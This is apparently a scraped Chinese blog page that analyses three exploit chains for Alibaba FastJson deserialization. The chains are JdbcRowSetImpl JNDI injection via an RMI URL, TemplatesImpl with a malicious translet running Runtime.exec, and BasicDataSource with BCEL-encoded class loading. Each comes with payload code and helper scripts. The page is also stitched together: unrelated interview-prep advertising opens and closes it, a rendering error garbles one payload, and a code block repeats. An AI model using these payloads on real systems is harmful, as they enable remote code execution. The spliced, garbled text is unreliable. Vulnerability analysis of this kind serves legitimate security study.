2024年最新【091期】为什么要弃坑阿里开源的 FastJson?三种利用链漏洞分析,java特性面试

总结

蚂蚁面试比较重视基础,所以Java那些基本功一定要扎实。蚂蚁的工作环境还是挺赞的,因为我面的是稳定性保障部门,还有许多单独的小组,什么三年1班,很有青春的感觉。面试官基本水平都比较高,基本都P7以上,除了基础还问了不少架构设计方面的问题,收获还是挺大的。


经历这次面试我还通过一些渠道发现了需要大厂真实面试主要有:蚂蚁金服、拼多多、阿里云、百度、唯品会、携程、丰巢科技、乐信、软通动力、OPPO、银盛支付、中国平安等初,中级,高级Java面试题集合,附带超详细答案,希望能帮助到大家。

蚂蚁金服5面,总结了49个面试题,遇到的面试官都是P7级别以上

本文已被CODING开源项目:【一线大厂Java面试题解析+核心总结学习笔记+最新讲解视频+实战项目源码】收录

需要这份系统化的资料的朋友,可以点击这里获取

String payload = “{\n” +

"    “a”:{\n" +

"        “@type”:“java.lang.Class”,\n" +

"        “val”:“com.sun.rowset.JdbcRowSetImpl”\n" +

"    },\n" +

"    “b”:{\n" +

"        “@type”:“com.sun.rowset.JdbcRowSetImpl”,\n" +

"        “dataSourceName”:“rmi://127.0.0.1:1099/Exploit”,\n" +

"        “autoCommit”:true\n" +

"    }\n" +

“}”;

JSON.parse(payload);

payload中的a对象用来当作缓存绕过,需要关注的是第二个对象

注意到其中"autoCommit":true,反序列化时,会反射设置属性,调用com.sun.rowset.JdbcRowSetImpl.setAutoCommit()

public void setAutoCommit(boolean var1) throws SQLException {

if (this.conn != null) {

this.conn.setAutoCommit(var1);

} else {

// conn为空才会调用到这里

this.conn = this.connect();

this.conn.setAutoCommit(var1);

}

}

跟入com.sun.rowset.JdbcRowSetImpl.connect(),触发lookup,加载远程恶意对象

protected Connection connect() throws SQLException {

if (this.conn != null) {

return this.conn;

} else if (this.getDataSourceName() != null) {

try {

// conn为空且dataSourceName不为空才会到这里

InitialContext var1 = new InitialContext();

// 成功触发JNDI注入

DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

根据lookup到com.sun.jndi.rmi.registry.RegistryContext.lookup()

public Object lookup(Name var1) throws NamingException {

if (var1.isEmpty()) {

return this.decodeObject(var2, var1.getPrefix(1));

}

}

跟入decodeObject方法,看到加载了远程Reference绑定的恶意对象

Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;

return NamingManager.getObjectInstance(var3, var2, this, this.environment);

总结:

  • 实战可以利用,JDNI注入基于较低版本的JDK,LDAP适用范围更广

  • 必须能出网,加载远端的恶意字节码,造成了局限性

TemplateImpl

String payload = “{“a”:{\n” +

“”@type":“java.lang.Class”,\n" +

““val”:“com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”\n” +

“},\n” +

““b”:{”@type":“com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”," +

“”_bytecodes":[“!!!Payload!!!”],“_name”:“a.b”,“_tfactory”:{},“_outputProperties”:{}}";

JSON.parse(payload, Feature.SupportNonPublicField);

注意其中的Payload来自于恶意类,该类应该继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

public class TEMPOC extends AbstractTranslet {

public TEMPOC() throws IOException {

Runtime.getRuntime().exec(“calc.exe”);

}

@Override

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {

}

public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

}

public static void main(String[] args) throws Exception {

TEMPOC t = new TEMPOC();

}

}

类似第一条链,使用两个对象绕过,其中的Payload为恶意类的字节码再Base64编码的结果,给出简易的py脚本

fin = open(r"PATH-TO-TEMPOC.class", “rb”)

byte = fin.read()

fout = base64.b64encode(byte).decode(“utf-8”)

print(fout)

该链需要开启Feature.SupportNonPublicField参数再反射设置属性,查看官方说明,如果某属性不存在set方法,但还想设置值时,需要开启该参数,这里的情况正好符合,而实际项目中很少出现这种情况,导致该链较鸡肋,没有实际的意义(其实TemplateImpl类中有set方法,比如setTransletBytecodes,但是名称和Bytecodes不一致)

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField设置属性时会有判断

final int mask = Feature.SupportNonPublicField.mask;

if (fieldDeserializer == null

&& (lexer.isEnabled(mask)

|| (this.beanInfo.parserFeatures & mask) != 0)) {

反序列化时,fastjson中会把”_”开头的属性替换为空。并在outputProperties设置值时调用getOutputProperties

public synchronized Properties getOutputProperties() {

try {

return newTransformer().getOutputProperties();

}

catch (TransformerConfigurationException e) {

return null;

}

}

调用到com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer方法

transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);

跟入getTransletInstance

// name不能为空所以在payload中设置a.b

if (_name == null) return null;

// 关键

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary

// class to prevent the GC from collecting them

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

再跟入defineTransletClasses,对父类进行了验证,这样解释了为什么Payload恶意类要继承自该类。如果验证没有问题,将在上方的newInstance方法中实例化该类,造成RCE

private static String ABSTRACT_TRANSLET

= “com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet”;

if (superClass.getName().equals(ABSTRACT_TRANSLET)) {

_transletIndex = i;

}

为什么_bytescode要对字节码进行base64编码?反序列化的过程中会调用很多类,在经过该类com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze的时候,会对字段进行一次base64的解码

if (token == JSONToken.LITERAL_STRING || token == JSONToken.HEX) {

byte[] bytes = lexer.bytesValue();

跟入lexer.bytesValue()方法,看到decodeBase64

public byte[] bytesValue() {

// base64解码

return IOUtils.decodeBase64(buf, np + 1, sp);

}

总结:

  • TemplatesImpl类是Java反序列化界比较常用的类,更容易理解和上手

  • 需要开启Feature.SupportNonPublicField,实战中不适用

BasicDataSource

String payload = “{\n” +

"    “name”:\n" +

"    {\n" +

"        “@type” : “java.lang.Class”,\n" +

"        “val”   : “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”\n" +

"    },\n" +

"    “x” : {\n" +

"        “name”: {\n" +

"            “@type” : “java.lang.Class”,\n" +

"            “val”   : “com.sun.org.apache.bcel.internal.util.ClassLoader”\n" +

"        },\n" +

"        “y”: {\n" +

"            “@type”:“com.alibaba.fastjson.JSONObject”,\n" +

"            “c”: {\n" +

"                “@type”:“org.apache.tomcat.dbcp.dbcp2.BasicDataSource”,\n" +

"                “driverClassLoader”: {\n" +

"                    “@type” : “com.sun.org.apache.bcel.internal.util.ClassLoader”\n" +

"                },\n" +

"                “driverClassName”:“!!!Payload!!!”,\n" +

“\n” +

"                     “KaTeX parse error: Expected group as argument to '\"' at end of input: ref\": \".x.y.c.connection”\n" +

“\n” +

"            }\n" +

"        }\n" +

"    }\n" +

“}”;

JSON.parse(payload);

这个Payload适用于1.2.37版本,并且需要导入Tomcat相关的包

com.alibaba

fastjson

1.2.37

org.apache.tomcat

tomcat-dbcp

8.0.36

生成driverClassName的工具如下

import com.sun.org.apache.bcel.internal.util.ClassLoader;

import com.sun.org.apache.bcel.internal.classfile.JavaClass;

import com.sun.org.apache.bcel.internal.classfile.Utility;

import com.sun.org.apache.bcel.internal.Repository;

public class Test {

public static void main(String[] args) throws Exception {

JavaClass cls = Repository.lookupClass(Exp.class);

String code = Utility.encode(cls.getBytes(), true);

code = “ B C E L BCEL BCEL” + code;

new ClassLoader().loadClass(code).newInstance();

System.out.println(code);

}

}

BCEL的全名是Apache Commons BCEL,Apache Commons项目下的一个子项目,包含在JDK的原生库中。我们可以通过BCEL提供的两个类 Repository 和 Utility 来利用:Repository 用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码;Utility 用于将原生的字节码转换成BCEL格式的字节码。

生成的BCEL格式大概如下:

B C E L BCEL BCEL$l 8 b 8b 8bI A A AA A A AA A A AA A m Q AmQ AmQ

将这种格式的字符串,作为“字节码”传入new ClassLoader().loadClass(code).newInstance();将会被实例化,当我们在Fastjson反序列化中构造出这种链,将会造成反序列化漏洞

回到Payload,开头一部分用于绕Fastjson黑白名单,没有什么特殊的意义,核心部分如下:

“x” : {

“name”: {

“@type” : “java.lang.Class”,

“val”   : “com.sun.org.apache.bcel.internal.util.ClassLoader”

},

“y”: {

“@type”:“com.alibaba.fastjson.JSONObject”,

“c”: {

“@type”:“org.apache.tomcat.dbcp.dbcp2.BasicDataSource”,

“driverClassLoader”: {

“@type” : “com.sun.org.apache.bcel.internal.util.ClassLoader”

},

“driverClassName”:“!!!Payload!!!”,

r e f " :   " ref": " ref": ".x.y.c.connection”

}

}

}

这个版本利用的是$ref这个特性:当fastjson版本>=1.2.36时,我们可以使用$ref的方式来调用任意的getter,比如这个Payload调用的是x.y.c.connection,x是这个大对象,最终调用的是c对象的connection方法,也就是BasicDataSource.connection

参考代码com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591

if (“$ref” == key && context != null) {

// 传入的ref是$.x.y.c.connection,匹配到else

if (“@”.equals(ref)) {

} else if (“…”.equals(ref)) {

} else if (“$”.equals(ref)) {

} else {

Object refObj = parser.resolveReference(ref);

if (refObj != null) {

object = refObj;

} else {

// 将$.x.y.c.connection加入到Task

parser.addResolveTask(new ResolveTask(context, ref));

parser.resolveStatus = DefaultJSONParser.NeedToResolve;

}

}

}

// 处理后设置到context

最后

学习视频:

大厂面试真题:

本文已被CODING开源项目:【一线大厂Java面试题解析+核心总结学习笔记+最新讲解视频+实战项目源码】收录

需要这份系统化的资料的朋友,可以点击这里获取

)) {

} else if (“$”.equals(ref)) {

} else {

Object refObj = parser.resolveReference(ref);

if (refObj != null) {

object = refObj;

} else {

// 将$.x.y.c.connection加入到Task

parser.addResolveTask(new ResolveTask(context, ref));

parser.resolveStatus = DefaultJSONParser.NeedToResolve;

}

}

}

// 处理后设置到context

最后

学习视频:

[外链图片转存中…(img-sYpNJoqC-1715228917632)]

大厂面试真题:

[外链图片转存中…(img-dyO1JVHr-1715228917632)]

本文已被CODING开源项目:【一线大厂Java面试题解析+核心总结学习笔记+最新讲解视频+实战项目源码】收录

需要这份系统化的资料的朋友,可以点击这里获取

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值